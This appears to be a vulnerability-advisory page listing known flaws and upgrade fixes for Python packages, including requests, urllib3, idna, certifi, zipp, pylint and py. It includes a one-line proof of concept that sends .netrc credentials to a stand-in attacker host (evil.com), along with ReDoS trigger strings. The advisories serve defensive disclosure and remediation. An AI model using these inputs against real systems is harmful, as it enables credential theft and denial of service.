Find, fix and prevent vulnerabilities in your code.

Overview

Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade zipp to version 3.19.1 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

Affected versions of this package are vulnerable to Resource Exhaustion via the idna.encode function. An attacker can consume significant resources and potentially cause a denial-of-service by supplying specially crafted arguments to this function.

Note: This is triggered by arbitrarily large inputs that would not occur in normal usage but may be passed to the library assuming there is no preliminary input validation by the higher-level application.

Remediation

Upgrade idna to version 3.7 or higher.

References

• GitHub Commit

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity due to the presence of the root certificate for GLOBALTRUST in the root store. The root certificates are being removed pursuant to an investigation into non-compliance.

Remediation

Upgrade certifi to version 2024.7.4 or higher.

References

• GitHub Commit
• Mozilla Root Discussion
• PoC

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking Proxy-Authorization headers to destination servers during redirects to an HTTPS origin. This is a result of how rebuild_proxies is used to recompute and reattach the Proxy-Authorization header to requests when redirected.

NOTE: This behavior has only been observed to affect proxied requests when credentials are supplied in the URL user information component (e.g. https://username:password@proxy:8080), and only when redirecting to HTTPS:

1. HTTP → HTTPS: leak

2. HTTPS → HTTP: no leak

3. HTTPS → HTTPS: leak

4. HTTP → HTTP: no leak

For HTTP connections sent through the proxy, the proxy will identify the header in the request and remove it prior to forwarding to the destination server. However when sent over HTTPS, the Proxy-Authorization header must be sent in the CONNECT request as the proxy has no visibility into further tunneled requests. This results in Requests forwarding the header to the destination server unintentionally, allowing a malicious actor to potentially exfiltrate those credentials.

Workaround

This vulnerability can be avoided by setting allow_redirects to False on all calls through Requests top-level APIs, and then capturing the 3xx response codes to make a new request to the redirect destination.

Remediation

Upgrade requests to version 2.31.0 or higher.

References

• GitHub Commit
• GitHub Release
• PoC

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.

Notes:

To be vulnerable, the application must be doing all of the following:

1. Setting the Proxy-Authorization header without using urllib3's built-in proxy support.

2. Not disabling HTTP redirects (e.g. with redirects=False)

3. Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.

Workarounds

1. Using the Proxy-Authorization header with urllib3's ProxyManager.

2. Disabling HTTP redirects using redirects=False when sending requests.

3. Not using the Proxy-Authorization header.

Remediation

Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.

References

• GitHub Commit
• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.

Note:

requests and botocore users are not affected.

Workaround

This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.

Remediation

Upgrade urllib3 to version 2.5.0 or higher.

References

• GitHub Commit

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Information Exposure Through Sent Data when the Cookie HTTP header is used. An attacker can leak information via HTTP redirects to a different origin by exploiting the fact that the Cookie HTTP header isn't stripped on cross-origin redirects.

Note:

This is only exploitable if the user is using the Cookie header on requests, not disabling HTTP redirects, and either not using HTTPS or for the origin server to redirect to a malicious origin.

##Workaround:

This vulnerability can be mitigated by disabling HTTP redirects using redirects=False when sending requests and by not using the Cookie header.

Remediation

Upgrade urllib3 to version 1.26.17, 2.0.6 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data due to incorrect URL processing. An attacker could craft a malicious URL that, when processed by the library, tricks it into sending the victim's .netrc credentials to a server controlled by the attacker.

Note:

This is only exploitable if the .netrc file contains an entry for the hostname that the attacker includes in the crafted URL's "intended" part (e.g., example.com in http://example.com:@evil.com/).

PoC

requests.get('http://example.com:@evil.com/')

Remediation

Upgrade requests to version 2.32.4 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Commit
• GitHub Issue
• GitHub PR
• GitHub PR
• GitHub PR
• Seclists Full Disclosure
• Vulnerable Code

Overview

Affected versions of this package are vulnerable to Always-Incorrect Control Flow Implementation when making requests through a Requests Session. An attacker can bypass certificate verification by making the first request with verify=False, causing all subsequent requests to ignore certificate verification regardless of changes to the verify value.

Notes:

1. For requests <2.32.0, avoid setting verify=False for the first request to a host while using a Requests Session.

2. For requests <2.32.0, call close() on Session objects to clear existing connections if verify=False is used.

3. This vulnerability was initially fixed in version 2.32.0, which was yanked. Therefore, the next available fixed version is 2.32.2.

Remediation

Upgrade requests to version 2.32.2 or higher.

References

• GitHub Commit
• GitHub PR

Overview

pylint is a Python static code analysis tool which looks for programming errors, helps enforcing a coding standard, sniffs for code smells and offers simple refactoring suggestions.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the SPECIAL and PRIVATE attributes in pylint/pylint/pyreverse/utils.py. The ReDoS is mainly due to the pattern [^\W_]+\w*, and can be exploited with an input string such as "__"+"1"*5000 + "!".

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade pylint to version 2.7.0 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub Release

Overview

pylint is a Python static code analysis tool which looks for programming errors, helps enforcing a coding standard, sniffs for code smells and offers simple refactoring suggestions.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to issues in its pyreverse component. This issue arises from certain regular expressions in pyreverse that can be exploited by causing catastrophic backtracking, significantly slowing down the service by forcing it to take a disproportionate amount of time to process inputs. This vulnerability allows attackers to use specially crafted inputs that increase the processing time exponentially, potentially leading to a service becoming inaccessible to legitimate users.

PoC

"__"+"1"*5000 + "!"

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade pylint to version 2.6.1 or higher.

References

• GitHub Commit
• GitHub Issue

Overview

py is an a Python development support library.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The subpattern \d+\s*\S+ is ambiguous which makes the pattern subject to catastrophic backtracing given a string like "1" * 5000.

SVN blame output seems to always have at least one space between the revision number and the user name, so the ambiguity can be fixed by changing the * to +.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

• A The string must start with the letter 'A'
• (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
• D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

1. CCC
2. CC+C
3. C+CC
4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade py to version 1.10.0 or higher.

References

• GitHub Commit
• GitHub Issue
• GitHub PR

Overview

urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.

Affected versions of this package are vulnerable to Information Exposure Through Sent Data when it processes HTTP redirects with a 303 status code, due to not stripping the request body when changing the request method from POST to GET. An attacker can potentially expose sensitive information by compromising the origin service and redirecting requests to a malicious peer.

Note:

This is only exploitable if sensitive information is being submitted in the HTTP request body and the origin service is compromised, starting to redirect using 303 to a malicious peer or the redirected-to service becomes compromised.

Workaround

This vulnerability can be mitigated by disabling redirects for services that are not expected to respond with redirects, or disabling automatic redirects and manually handling 303 redirects by stripping the HTTP request body.

Remediation

Upgrade urllib3 to version 1.26.18, 2.0.7 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

LGPL-2.1 license

MPL-2.0 license

LGPL-2.1 license